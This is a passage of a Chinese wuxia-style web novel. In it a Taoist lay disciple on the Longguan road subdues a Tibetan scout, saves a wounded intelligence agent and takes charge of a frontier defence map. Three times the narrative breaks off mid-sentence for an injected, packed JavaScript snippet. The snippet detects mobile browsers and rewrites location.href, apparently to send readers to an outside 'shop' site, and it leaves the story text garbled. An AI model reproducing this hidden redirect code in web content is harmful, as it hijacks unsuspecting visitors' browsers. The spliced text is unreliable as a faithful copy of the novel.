“子韧这孩子，嘴上再冷再硬，心里头是软的。本宫不求你偏袒他，只求你在路上多看顾他几分。他身上的伤还没好，又犯过奔豚气疾，受不得寒气。还有他那性子，看着倔，其实经不起再折腾了。”皇后说着，声音又哽咽起来，“本宫只有这两个儿子，元吉还小，不懂事，与皇上，也是缘份淡了......子韧若是有个三长两短，本宫……本宫也觉得活着也没意思了。” 她脸上流下清泪，一张脸更显悲戚。 汪平程撩袍跪下，郑重叩首：“娘娘放心，臣虽不才，定然竭尽全力护子韧周全。他若有闪失，臣提头来见。” 皇后忙扶他起来：“汪大人快请起，本宫信你。你也是看着子韧长大的，本宫知道你的心。” 皇后擦了擦眼泪，勉强笑了笑：“本宫也不多说了。天色不早，本宫该回去了，本宫能来，求到皇上那里也是费了些周折的，不能呆太久，不瞒大人，皇上这次是气狠了。” 她转身走了两步，又停下来，头也不回地道：“汪大人，你告诉他，本宫不怪他。他说让本宫当没生过他这个儿子，本宫只当他是放屁。做娘的，哪里舍得下自己的骨肉。 说完，她便大步往外走，再没回头。 汪平程楞在原地，刚才皇后是说了粗话吗？这小子这性子怕也是随了皇后吧。 望着皇后渐行渐远的背影，只觉得鼻子一酸，眼眶也跟着热了起来。 4. 兵防图(一) 京城里搅动风云之前，姜南绍师徒三人早已自河南府动身，一路往秦州而去，光阴荏苒，不觉已是半月有余。 出了长安，便上了陇关古道。这条路最是崎岖难行，古人说：“陇坂九回，不知高几里”，说的正是这里。这里的路径多是依山傍水，曲折盘旋，遇着雨天，泥泞不堪，寸步难行。越往前走，风物越是苍凉，举眼望去，尽是荒山野岭，难得见个人烟村落。 姜南绍仰头看天，不觉皱起双眉。适才过那一段栈道，都是在悬崖峭壁上凿石而成，窄处只容得一车一马单向行走，走得人胆战心惊。刚过了这险地，路面略宽了些，才喘得一口气，谁想天公不作美，竟簌簌飘起雪来。 她勒住马头，往后望了一眼，轻声道：“师父，落雪了。不知前头可有村舍人家？看来只得再往前赶一程。” 身后骑马的，便是她师父吴山娘。这吴山娘年方四十出头，穿一身青布道袍，模样与寻常女冠一般无二。只是那双细长眉眼，精光四射，透着几分干练果决；一张薄唇紧抿，一看便是个不好惹的辣手人物。她身后跟着一个年轻女子，便是姜南绍的师姐周至语，二十余岁年纪，俗家打扮，一身黑衣，脸上带着几分傲气。这周至语自幼在吴山娘身边长大，眉眼神气，竟与吴山娘有七八分相像。 吴山娘听了姜南绍的话，也仰头看天。只见天色灰蒙蒙，冷气侵人，几片雪花落在唇上，冰凉透骨，进退不得，便道：“只管往前赶。趁雪势不大，快快行路才是正事。” 正说话间，前面忽见一队人马，约有二十来个，老幼妇孺都有，大部分都是精壮汉子，赶着骡马，驮着货物，一看便是长途跋涉的商队。 几人赶紧骑马追上，姜南绍赶上前头领队的汉子，在马上抱拳道：“这位兄台，借问一声，不知前头可有客店可打尖歇脚？” 那汉子回过头，见问路的年轻女子后面同行的是个有些年纪的女冠，眼珠子一转，连忙和气笑道：“女冠不必客气。再往前二十里，有一家客店，天黑前准能赶到。若是不嫌弃，便跟着我们一同走便是。” 姜南绍谢了，回身禀明师父。师徒三个便不紧不慢，跟在商队后面，一路前行。 落在最后的周至语“喂”了一声，姜南绍回头，见她招手，便打马过去。这周至语向来不叫她名字，只因嫌她占了旧日师妹的名讳，心里一直不忿，六年来总是同她不对付，但姜南绍向来懒得同她计较，这世间人情冷暖，喜恶亲疏，本也由不得人。 她策马靠近了些，周至语压低声音道：“你且看那些人，哪里像是做买卖的？”说着努了努嘴，“那些汉子，手上都是厚茧，分明是常年舞枪弄棒的手，断不会错。” 姜南绍不言语，她早已瞧出端倪。不单是手上老茧，更有身上气息——牲畜膻气、烟火气、酥油味混在一处，分明是吐蕃人。 她抬手拭去指尖雪水，把帷帽往下扯了扯，遮住半边脸，道：“师姐，是吐蕃人。咱们须得留神。” 周至语见她早已看破，心里越发不舒服，总是要争强好胜一番，于是轻哼一声：“吐蕃人有甚可怕？” 姜南绍闻言不再说话，两人一前一后跟着吴山娘。四下里寂静无声，只听得马蹄踏雪之声。雪势越下越大，天灰蒙蒙，地白茫茫，偶有一只寒鸦从枯树林里“呱”的一声惊飞，倒唬人一跳。 约莫走了二十余里，前面果然现出一间客舍。三人下了马，把缰绳交与店小二牵去喂料。 姜南绍抬眼四下打量，这客舍不大，是一座二层小宅院，甚是简陋，檐下酒旗破旧，毛边翻卷。 一进门倒吃了一惊。因着大雪，堂内挤挤挨挨，坐满了人，说话的、吃酒的，喧闹一片，各种气味混在一处，熏得人头昏脑涨。 店小二引着她们往里走，口里不住念叨：“这场雪下得急，山道已封，估摸三五日走不得。客官们来得正好，再晚一步，怕是连睡觉的地方也没有。” 怪不得这般热闹，原来是封了山路，众人皆被困在此处。 正堂已没了空位，店小二见她们是女冠，倒也客气：“女冠，小店客满，若要用酒菜，只得挤一挤。上房如今只剩一间，三位女冠委屈些，同住一处罢。再迟些，连这间也没有，只好在堂中打地铺了。”说罢连连赔罪。 这般光景，能有片瓦遮头已是万幸，谁还敢挑三拣四？姜南绍点了点头。店小二又问：“女冠，可要些酒菜暖暖身子？” 行走在外，最怕遇不测，她们向来谨慎。况且方外之人，本无口腹之欲，平常都自带干粮。姜南绍便道：“不劳烦了，我们自有干粮。烦请引我们去上房便是。” 进了房，掩上门，吴山娘便低声叮嘱：“人多眼杂，今夜须得警醒，恐不太平。” 三人挤在一间房，姜南绍与周至语只得打地铺。周至语自幼便没安全感，定要裹着被褥方能睡，可房里只一床锦被。她拿眼斜瞅姜南绍，语气不阴不阳：“你，去与店家再讨一床来。” 吴山娘闭着眼盘腿打坐，只作没听见。姜南绍似笑非笑瞅着周至语：“天寒，师姐，我两人挤一床便是。” 周至语哼了一声：“你倒怕冷起来了？” “我本不怕冷，练功之人自然用不着被褥。”姜南绍慢悠悠道，“该是师姐去取才是。” 听她奚落，周至语脸上红了又白，白了又红：“废话恁多！我是你师姐，难道差遣不动你？” 姜南绍适可而止，也懒得逗她，淡淡一笑：“师姐莫恼。我怕冷便是，这便去讨。” 说罢起身便往外走。 周至语望着她背影，气得牙根发痒。她总有法子激得她失态，偏生这个人，顶了姜南绍这个名！原本的姜南绍，她的小师妹，温温柔柔，见人便笑，哪里像眼前这个这般刁钻？ 姜南绍转身开门，扶着二楼扶梯往下喊：“店小二！”那店小二正忙得脚不沾地，抬头应道：“女冠稍等，即刻便来！” 眼见他一时腾不出手，姜南绍索性下楼，走到店小二跟前，嘱咐他得闲时送一床被褥到二号房。店小二脆生生应了，又忙着招呼其他客人去了。 姜南绍便出了店门，想四处走走。这是她多年的习惯，也是本分——但凡到了陌生地方，必先摸清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527877|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周遭情形，以防万一有个闪失。 客舍正堂外，只有一间柴房、一个马厩。她绕着院墙转了一圈，快到客舍后门时，忽见一人鬼鬼祟祟，只露半个脑袋，东张西望。姜南绍忙缩身躲在墙角。 那人头戴毡笠，腰别长刀。姜南绍一眼便认出——适才进门时，这人抢在前头冲进来，硬生生撞倒一位老妇，非但不扶，还骂骂咧咧，说的是吐蕃话。 客店后是一片密林，背靠险山，一眼望去阴沉沉的，透着一股瘆人气息。姜南绍心中暗忖：这客店怎选在此处？真有个好歹，便是喊破喉咙也无人应答。 那壮汉鬼鬼祟祟张望一番，便往密林深处掠去。此人身形灵活，转眼便没了踪影。姜南绍不及细想，抬脚便跟了上去。 她轻功不弱，很快便咬住那人身影。那壮汉对这地形极熟，有几回姜南绍险些跟丢，亏得她功夫扎实，那人竟丝毫未觉身后有人。 不多时，前面忽见一座石崖，崖下藏着一个小洞口。那壮汉拨开遮掩的枯草，弯腰便闪了进去。 姜南绍等了片刻，也跟着入洞。洞内隐隐有光，她顺着光亮往里走。 刚拐过一个弯，便见那壮汉背影猛地一顿，紧接着一声惨叫，划破洞内死寂。 姜南绍心头一紧，快步上前。只见洞中立着一名男子，地上躺着一人，旁侧落着火折子。那戴毡笠的壮汉，胳膊上架着袖箭，正欲再发一箭。 姜南绍想也不想，举起手中短剑掷出。剑柄正撞在壮汉背上，壮汉吃痛一歪，箭矢方向便偏了。场中男子侧身一闪，那箭仍擦着胳膊而过，带出一溜血痕。 壮汉回身见有人，拔出长刀大喝一声，劈头便朝姜南绍砍来。 姜南绍侧身闪避，前腿飞快扫向他大腿外侧。壮汉急躲，身子失了重心，微微一歪。 姜南绍身轻如燕，左脚稳稳钉地，右臂一伸，一拳直捣他面门。壮汉再也站立不住，扑通倒地。他挣扎欲起，姜南绍一只脚已踏在他身上，将他牢牢锁住，动弹不得。 这一连串动作，不过眨眼之间。 那胳膊受伤的男子提剑冲来，姜南绍早已将人制伏。他借地上火折子光亮，打量眼前这年轻女子：身着靛青色宽棉袍，脸庞小巧，头发用一根木簪随意绾起。一双眼黑白分明，却又似隔着一层薄雾，叫人看不透深浅。 丁温延一时怔住，受伤的胳膊麻了半边，握剑僵立，朝女子抱拳道：“多谢姑娘出手相救。” 姜南绍上下扫他一眼，目光落在他腰间，看得他脸上一红。只听她指着他腰带，淡淡道：“解下来，绑了他。” 丁温延脸更红了，抬手去解腰带。怎奈胳膊受伤，动作又慢又僵。姜南绍看在眼里，面上露出几分不耐：“你过来。” 他依言走近。姜南绍一把扯下他腰间腰带，他一惊，不料她行事这般爽利干脆。只见她将按住的壮汉翻转，反手将其双手缚在背后，三下两下打了个结实的绳结。 丁温延看她打结手法，甚是刁钻——腰带缠绕壮汉五指与腕部要穴，不由得吃了一惊：这打结手法，竟是江湖上极罕见的悬穴扣！ 5. 兵防图(二) 丁温延一时竟忘了胳膊上的伤。他抬头重新打量眼前这女子，目光中多了几分探究。 “姑娘好身手。”他低声道，“这悬穴扣的手法，在下只在传闻中听过。” 姜南绍不接话，俯身去搜那壮汉身上物什。毡笠下是一张粗犷面孔，颧骨高，满脸的络腮胡子，确是吐蕃人的模样，她又在他腰间摸了摸，腰间革囊里又翻出几块碎银。 姜南绍一把将那壮汉揪起，卸了他的武器，径直推到丁温延面前：“应是吐蕃斥候，交给你了，你自行处置便是。” 丁温延一怔，觉得她行径颇为古怪，萍水相逢竟将人这般轻易便交予自己？ 姜南绍似是看穿他心思，瞥他一眼，淡淡道：“这人我先前见过，本就不是善类。至于你，是好是歹，与我何干？” 丁温延抬眼望她，心中愈发动疑，愈发猜不透她这般行事，究竟藏着什么用意。 丁温延胳膊刺痛，低头看那吐蕃人不觉来气，抬脚往那蕃汉身上踹，厉声喝问：“看什么看，说，是谁派你来的？” 那人只怒目瞪着他，紧抿双唇，一言不发。 姜南绍不再理会他们，转头去看那倒地的男子。 她俯身探了探他鼻息，箭矢正中心口，早已没了气息。 她的眼光被此人手里死死攥着的一支木牍吸引了去。 她掰开那死人僵硬的手指，取过木牍，翻转来去看了看，转头问那吐蕃斥候：“莫非你们为了这东西而来？” 丁温延这才回过神来——那紧要的木牍，竟已落入那姑娘的手中！方才脑中昏沉，只顾着手上的犯人，竟将此事忘得一干二净。 他暗道不妙，急忙将犯人放下，伸手便要去夺，却扑了个空，不由青筋暴起，急道：“姑娘，还请将木牍还我！” 姜南绍面无表情，唇角勾起一抹浅淡笑意：“我怎知这东西是不是你的？” 丁温延被她噎住，这才意识到自己失态。他深吸一口气，忍痛抱拳：“是在下唐突了。没早些亮明身份。姑娘，在下丁温延，乃是........” 不料姜南绍已经打开那木牍，里面赫然是一张地图，她打断丁温延的话，眼神骤然沉下，“你是蕃部熟户？或是机宜司的人？” 丁温延看她动作，大惊失色，也顾不得回话了，正要逼身上前夺回木牍，手臂却骤然沉重僵硬，心道不好，原来箭上有毒！ 他心头一沉，双腿紧跟着一麻，再也支撑不住，直挺挺地栽倒在地。 被捆的蕃人听得二人争执，睁眼放声大笑：“螳螂捕蝉，黄雀在后！好，甚好！” 姜南绍不耐烦听那蕃人的笑声，捡了颗石子就朝蕃汉扔了过去：“聒噪。” 姜南绍将木牍放入怀中，蹲身拽着丁温延手臂细看，见胳膊上的伤口已然发黑，还泛起层细细的水泡。 她又强行扣住他手腕诊脉，丁温延只觉被她触碰之处一片冰凉，这女子的手，竟冷得像寒玉。 姜南绍细细诊脉后皱眉起身：“得快寻解药才是。若无解药，不出一个时辰，你必没命。” 她方缓缓回头，逼问那蕃汉：“说，解药何在？别在这儿装死。” 那蕃汉索性闭上眼睛，自是不语。 丁温延摇了摇头：“不必问了，此人是死士，断不会开口的。” 姜南绍站起身，伸手便去撕扯蕃汉的衣裳，动作又急又粗野，半分女儿家的矜持也无。 那蕃汉双目圆睁，又气又急，脸色憋得更紫了。 待姜南绍手快要探进他里衣的腰间时，他终于慌了，叫嚷起来：“你这女子好不害臊！要杀便杀，何苦这般折辱于人？我便是死，也不会交出解药！” 姜南绍似笑非笑地望着他，那眼神看得他心底发毛——他觉得，这女子是真做得出来扒他里衣的事。 她指尖甫一碰到他的裤腰，蕃汉便彻底服软，连声求饶：“别别别！解药在毡笠里！就在毡笠夹层中！” 姜南绍放开他，一脸鄙夷：“早说不就行了。” 蕃汉被捆得动弹不得，只得梗着脖子怒骂：“你们中原女子，实在无礼放肆！” 姜南绍并不理他，只弯腰拾起那毡笠，摸了摸，果然在夹层里摸出一只小药瓶，瓶中只盛一粒药丸。 她眼神微变，随即轻笑一声，倒出药丸走到那蕃汉面前，递到他嘴边：“张嘴，吞了。” 那吐蕃人脸色瞬变，目中闪过一丝慌乱，姜南绍却浑不在意：“吞了！” 丁温延瞧出不对，急忙大喊：“不可！这药有问题！” 可已然迟了。那人只迟疑片刻，像是被什么驱使一般，猛然张口，药丸便顺势滚入喉中。 不过片刻，他脸色骤然赤红，额间青筋暴起，猛地喷出一口鲜血，身子抽搐数下，便直挺挺倒地，没了声息。 丁温延脸色一白，看向姜南绍的目光满是不解：“姑娘，你明知此药有异，为何还要……” 姜南绍收回手，将药瓶扔了，语气冷淡：“他吃便吃了，有什么好慌的。这么小一只瓶子，只装一粒药，怎么可能是解药？” 她顿了顿，目光扫过地上尸首：“明知有毒还求死，留着他也问不出半句真话，反添累赘，死了便死了罢。” 这话听着冰冷无情，细想却又句句在理。 姜南绍淡淡道：“没有解药也无妨，你运气好，遇到我，死不了的。” 姜南绍从怀中又摸出个小瓷瓶，倒出些淡黄色的药粉，洒在他的伤口上。 丁温延觉得手臂一片清凉，稍稍抬臂，竟舒缓许多，想来毒性已解大半。 姜南绍盖上药瓶：“放心，已无大碍，这毒不深。” 她唇角微扬，带了几分调侃：“如今我救你一命，你可说了吧？你是蕃部熟户还是机宜司的人？” 丁温延没想到这女子年纪轻轻，竟如此老成精明，连机宜司都知晓，且一眼看穿了他的身份。 他的家族本是吐蕃小部落，十年前归附朝廷，族人散居各部，暗中为朝廷打探情报，论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527878|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份既是熟户，也算是机宜司的人。 既然遇上明白人，他知不必再隐瞒。他心中快速权衡利弊后，对着姜南绍抱拳道：“不瞒姑娘，在下丁温延，确是机宜司之人，亦属蕃部熟户。” 姜南绍静静听着，见他顿住，抬眼望去，目光分明示意他继续说下去。 丁温延硬着头皮，索性和盘托出：“这山洞，本是我与机宜司联络的据点。如今看来，想必已是暴露了。” 他指了指地上尸首：“此人也是机宜司的人，我一向与他单线联络。究竟是我暴露了行踪，还是他那处出了何种变故，如今也无从知晓。这地图，本是要交予他的。如今联络已断，我必须尽快寻上机宜司同僚，将地图呈给上官。” “你竟还敢联络机宜司？”姜南绍嗤笑一声，语气满是讥诮，“说不准你便是被机宜司的人出卖了。你们机宜司，便就只有这点本事？什么人都敢信，什么话都敢说？” 她目光带了几分玩味：“我虽算不上大奸大恶之人，却也绝非善类。你就不怕，我转头将你卖了，换些旁的好处？” 丁温延脸颊一红，迟疑道：“应当不会……你既救了我……” 姜南绍毫不客气地翻了个白眼：“你在机宜司待了多久，怎会如此天真？” 丁温延被她讥讽得面色一阵红一阵白，忍不住辩解：“我也实非愚笨之人。你若真想要这地图，先前直接拿走便是，何必费力救我？” “你怎知我是不是另有图谋？”她瞧他窘迫模样，倒觉十分有趣。 丁温延咬牙，神色渐渐沉定，语气间带着几分无可奈何，却又藏着决绝：“我自知眼下处境凶险。可这地图事关重大，我若不信你，你若不肯出手相助，地图根本无法带出，我已是走投无路，如今，也只有信你这一条路可走。” 他深吸一口气，似是下了极大决心：“怎么看都是死局。我只能把赌注押在姑娘身上，赌你是值得托付之人。” “你的意思是，要将这地图，托付于我？”姜南绍挑眉，语气微露意外。 丁温延重重颔首，目光坚定：“至少先要渡过眼前难关。我不清楚客店中是否还有此人同党，地图带在我身上，实在太过凶险，我不敢赌。” 他面色一肃，终是下定决心，单膝跪地，双手抱拳，语气郑重无比： “恳请姑娘出手相助！” 姜南绍唇角微扯，神色淡淡：“要我接下这烫手山芋不难，只是......我能得些什么好处？” 丁温延忙道：“若能将地图平安送至机宜司手中，自当有重谢！” 他又急急补上一句，“况且姑娘本是汉人，想来也不愿眼见边境生乱，袖手旁观吧？” 姜南绍嗤笑一声：“这世上，我倒觉得银子更紧要些。” 话锋一转，她眼神忽的凌厉起来：“我自有我行事的规矩，我断不会稀里糊涂替人卖命的。你须得把前因后果尽数告知于我，该知道的，一件也不能少。听着，我要知道的，是所有事。” 6. 兵防图(三) 丁温延缄口不语，眉头拧得似个死疙瘩。 姜南绍觑着他，慢条斯理道：“若有人发觉这蕃人没了影，他那伙同党怕不转眼就寻到此处。再不然，兴许他本就是个孤鬼，无意间撞破了你们的暗桩，还没来得及报与旁人知道哩。” 她又笑道：“我瞧你如今也没甚挑拣的余地。这张图儿，你给不给，终究都是我的了。可你若还想教它落到上官手里，只好把底细一五一十说与我听。” 丁温延权衡再三，方抬起眼来：“姑娘，恕在下斗胆问一句——尊姓芳名？师承何处？我总得知道，自己这副身家，是托付与了谁。” 她默了默，还是吐露了自己的身份：“我是天一道的俗家弟子姜南绍。” 丁温延闻言心中一动，这天一道在洛阳城里名声赫赫，门下弟子多的是修为精湛、道法高强的人物，难怪她会使那悬穴扣的打结手法。只是她一身俗家打扮，自己竟没往这上头想。转念再寻思，这也不算甚稀奇事，道教里头收几个俗家弟子，也是常情。 他顿觉松了口气，抱拳道：“原来竟是天一道高徒！失敬失敬！是在下眼拙了，竟未看出姑娘是位女冠，多有得罪。” 姜南绍神色不变，也不搭腔。 丁温延一时好生没趣，连忙敛了神色，堆起笑脸恭维道：“怪不得姑娘身手这般了得，行事又这等周密。既是天一道的弟子，在下这心可就稳稳当当放到肚子里去了。” 姜南绍听了这话，唇角微微扯了扯，也不知是笑还是讽：“你这会儿‘将心放到肚子里’了？”她不紧不慢道，“我竟不知天一道三个字比我对你的救命之恩还有用些。” 丁温延被她这一呛，脸上有些挂不住，讪讪道：“在下并非此意。只是……只是这天一道在江湖上名头响，门规严谨，断不会做出夺人之物、见不得光的勾当。姑娘既是天一道弟子，在下自然信得过的。” 姜南绍那凉飕飕的目光扫了过来：“丁公子倒也不必以德挟人，我先前便说了，我有我行事的规矩。” 丁温延面皮一红，手脚登时没处搁了。 姜南绍料他肚子里揣着不少话要问，便一面整着衣袖，一面同他说：“丁公子，我今儿便与你交个底。我这遭是往秦州去，要在那里住些日子。这张图儿，我可替你递上去。你还有甚顾虑，一并说了罢。” 丁温延心里颇为复杂，一时觉着这姑娘性子直来直去，倒省了许多拐弯抹角的麻烦；一时又觉着这性子颇让人吃不消，只得讪讪再问道：“姜女冠在秦州落脚何处？可是秦州城的哪所道观？” “暂不住道观。” 丁温延瞧她面色越来越沉，生怕她多心，红着脸解释：“姜女冠莫嫌在下啰嗦，只是我如今要先回寨里，好歹将事情安排妥帖了，才能动身往秦州去，只怕要耽搁些日子。我问这些，是想设法把酬金送到你手上。” 姜南绍心里冷笑，终究还是不放心的，装得倒像为她着想。 丁温延见她面色不豫，略一沉吟，咬牙吐露了实情：“实不相瞒，这并非普通地图，乃是河州大小洛门寨最新的兵防图。正因事关重大，在下才不得不如此慎重。” 姜南绍闻言，眼底掠过一丝诧异，随即陷入沉思。 大小洛门寨——她自是知道的。那地方在渭水以南，盛产上好的松杉巨木，还有铁矿。自太祖年间，朝廷便在那里设了伏河寨，又立采务局，专管采伐开采，以应国家战略之需。驻守秦州的永兴军，粮草、马匹、军械补给，多在此处集散。可那片土地，也是吐蕃各部世代放牧狩猎之地，大小洛门寨便是其中一方吐蕃势力，一直未曾归附朝廷，是为生户。 为着这些资源，两边没少起冲突。朝廷有时拿钱“买路”，有时付“采伐费”，勉强维持着面上和气。可这兵防图……分明意味着，这点和气，怕是快撑不了多久了。 她眉头蹙着，沉默不语。 丁温延做了多年暗探，察言观色本就是吃饭的本事，如今细细觑她那模样，心下愈发笃定——眼前这女子，是最可托付之人。她身手了得，又透着股沉稳老成的劲儿，把这兵防图交给她，值当一赌。 他又拱了拱手，语气恳切得紧：“姜女冠，在下也知此事凶险，可关系重大，越少人知越好。如今只能托付给女冠了。至于赏钱，”说着伸出五个指头，“断不会少于这个数。” 姜南绍点了点头，面上不动，心下却另有一番盘算。 她们这一趟往秦州去，本就是冲着同知枢密院事汪平程来的，若上头给的消息没错，汪平程应是启动这阵法的关键人物。 她一直想知道，那上头的神秘人物到底是何方神圣，怎能笃定汪平程定会走秦州这一遭，甚至早早安排了她们先一步前往秦州。 这些年，吴山娘不曾把阵法之事说透。可她学东西快，零零碎碎拼凑了这些年，凭着些细枝末节，心里也大约有了数。单说这秦州，该是阵法启动之地；而汪平程，是启动阵法之关键人物，注定是有人会安排他走这一遭的。 但如今瞧这阵仗，依着上头的消息，朝廷派汪平程来巡边，只怕不似面上那般简单，后头定有更深的图谋。 这兵防图，倒像是老天爷送到手边来的。踏破铁鞋无觅处，如今自己送上门，岂有不要之理？万一此事失了手，也多个筹码不是？ 怕丁温延起疑，她又把话头绕回赏钱上：“既有赏钱，那便好说。你且告诉我，到了秦州，这图该交给谁？” 事到如今，其实赏钱倒成了末节，这送上门的机会，她断没有放过的道理。 丁温延略一沉吟，神色凝重起来：“眼下我也摸不清机宜司里头干不干净。女冠到了秦州，且等我来寻你。若我迟迟不来，有何紧急事，切莫直接去找机宜主管——那儿怕也不稳妥。”他顿了顿，压低声道，“这样，你若着急离开秦州，便不用等我，只管去三阳寨寻副巡检使伍长风。他是我过命的兄弟，东西交到他手里，最是稳妥，如若我来时你还在秦州，我自当亲自来道谢。” 姜南绍应了一声：“好，我记下了，那便这样说定了。” 话落，她目光落在地上两具尸首上。眼前最要紧的，是这两个死人怎么打发？放火是不成的，只怕惊动了旁人，反倒弄巧成拙。 她转头对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527879|203598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁温延道：“还有气力么？过来搭把手，把他们挪到一处。” 两人齐动手，将那吐蕃斥候和机宜司暗探的尸身抬作一堆。 姜南绍顺手剥下那暗探的衣裳，扔给丁温延：“把你外衣脱下来，撂上去。” 丁温延依言照办。只见姜南绍又从怀里摸出个小瓶儿，拔开塞子，将里头的药水往尸身上倒去。 那药水淋将下去，登时冒起一股子甜腥腥的味儿，冲得人脑仁儿疼。两具尸身上“嗤嗤”作响，像是烧滚了的油锅里头泼了水，眼见着皮肉消融，骨头软化，不多时便化成一摊腥红的血水，慢慢渗进泥地里去。 到后来，连那点子痕迹也没了，就仿佛这洞里从来不曾有过这两个人似的。 四下里静得可怕，只听得丁温延自个儿的心在腔子里擂鼓一般，“咚咚咚”地跳个不停。他脸上那点子血色，一点一点褪得干干净净，白得跟纸钱似的。嘴唇哆嗦了半日，才从嗓子眼里挤出几个字来：“化……化金水……” 姜南绍脸上却没什么表情，只抬手将先前剥下的那件暗探衣裳扔给他：“你那身衣裳沾了血，穿不得了。快换上，拾掇利落了，赶紧回客店去。别叫人瞧出破绽来。” 丁温延接过衣裳，眼睛却忍不住往她脸上睃了一睃，嘴唇动了动，到底还是问出口：“你……当真是天一道的弟子？” 姜南绍晓得他是见了自己这手段，心里起了疑。她也不恼，只顾低着头扎着自己的袖口，沉声道：“你若有更好的法儿处置这两人，我倒愿听听。我这是替你收拾残局，你却如此优柔寡断。” 丁温延给她噎得说不出话来，只叹了口气。这女子行事虽则诡谲，话却句句在理。事到如今，确也没有更妥当的法子了。 “你换好了先走。记着，别走前门，咱俩分开走。你从后门进客舍，我晚些打正门回去。”姜南绍又叮嘱了一句。 丁温延见她思量得这般周全，心里头那点子疑虑倒一股脑全去了，愈发觉得将这兵防图托付给她，是再稳当不过的。 他三下两下换好衣裳，两人对视一眼，也不多言，他便先自行出了山洞。 姜南绍一个人在洞里细细察看一番，将那犄角旮旯都看了一遍，见再无什么破绽，这才放心转身往客舍那边去。 将至客舍正门，姜南绍远远便见周至语抱臂倚在墙根下。瞧见她回来，周至语那脸登时沉了下来，语气里满是不善：“你去哪了？” “四处转了转。师父的规矩，你又不是不知道。”姜南绍语气淡淡的，听不出什么波澜。 “转一转需要去这般久？你又背地里做了什么勾当？”周至语哪里肯信，追着问个不停。 “师姐猜一猜？”姜南绍似笑非笑，“猜不中，自然不好叫你知道。” “你！”周至语气得牙根痒，偏偏拿她没法，末了只冷笑一声，“害人精，踩着旁人的性命活。张狂什么！不过是只见不得光的鬼而已。” “这话你敢当着师父的面说说看。”姜南绍的目光四下里扫了一圈，轻哼道，“你这话若叫旁人听去，你倒真能成一只真鬼——你信是不信？” 7. 度牒 姜南绍语气阴恻恻的，周至语不由得退后半步，心下暗自懊恼自己口不择言、不分场合。 她自小跟着吴山娘，再清楚不过吴山娘的脾性。平日里虽不怎么管束她们，可若触了她的底线，只怕没得好果子吃，她有的是让人胆寒的手段。 她不由打了个寒噤，却还是不服，冷哼一声，便不再与姜南绍纠缠，转身进了客舍大门。 姜南绍目送周至语进了客舍大门，这才慢慢收了脸上的冷意。 她在门前站了一站，抬手拍了拍衣服上的雪点子，这才不慌不忙地跨过门槛。 客舍前厅里点着几盏油灯，仍是热闹非凡，掌柜和店小二忙得不可开交。 小二急吼吼地端着一碗热汤从姜南绍身边擦过，溅出几点汤汁在她袖上，她也只微微侧了侧身，脚步不停，朝上房去。 顺着木梯往上走，才转过楼梯拐角，正撞见丁温延从楼上下来。 两人打了个照面，姜南绍微微一怔。 他分明是在楼道里专候着她的。他面色已好了许多，不仔细瞧，压根看不出刚中过毒的样子——到底是年轻，底子好，恢复得快。 丁温延张了张嘴，似要说什么，姜南绍却把眼风一扫，轻轻摇了摇头。 丁温延也是做惯了暗事的人，登时会意，便闭紧了嘴。 姜南绍用余光扫了周遭一圈，神色自若地打他身边擦过，心里也有了数——那吐蕃人果真是独个儿来的，丁温延眼下该是无碍了。 就在擦身而过的一瞬，她只觉手心被人轻轻一握。待丁温延迈步走开，掌心已多了张叠得方方正正的纸条。 她脚下不停，装作什么都没发生，径直往客房走。临进门时，回头飞快瞥了他一眼，微不可察地点了点头。 周至语铁青着脸回到房里，吴山娘正盘腿打坐。 听见动静，吴山娘睁眼瞧了瞧，见周至语那副气冲冲的模样，便知又是在姜南绍那儿吃了瘪，也不多问，只重新合上眼。 “师父，姜南绍又不知去哪耽搁了这半日。她行事素来鬼鬼祟祟，从不交代行踪，您怎么总也不管束她，您真不怕她惹出祸事来？”周至语忍不住抱怨起来。 “她向来行事有分寸。我交代的事，哪件不是办得妥妥帖帖？”吴山娘仍闭着眼，话里话外皆是维护的意思，“你都气了这些年了，何苦总同她过不去。” 周至语越发觉得委屈。她当然晓得姜南绍办事周全，很得师父看重，只是心中终归是不甘。 她转念一想，其实谁也没真正得着师父的欢心，自己跟了她十几年尚且如此，她不过才跟了师父六年，自然更不消说。 思及此，她心中的难受消解不少。 不多时，姜南绍推门进来，回身将门掩好，又顺手插上了门闩。 吴山娘兀自闭着眼，盘着腿儿坐在榻上，一动不动。 周至语正在打地铺，见姜南绍进来，便将脸扭到一边去，显见还没消气，也不搭理她。 姜南绍也懒得与她计较，径直走到吴山娘跟前，矮身坐下，压低了声道：“师父，这店周围我都转了一遭。往东去半里地有一条小河，店后头是一座大山，我进去瞧了瞧，并无人烟，尽是些野山茂林。” 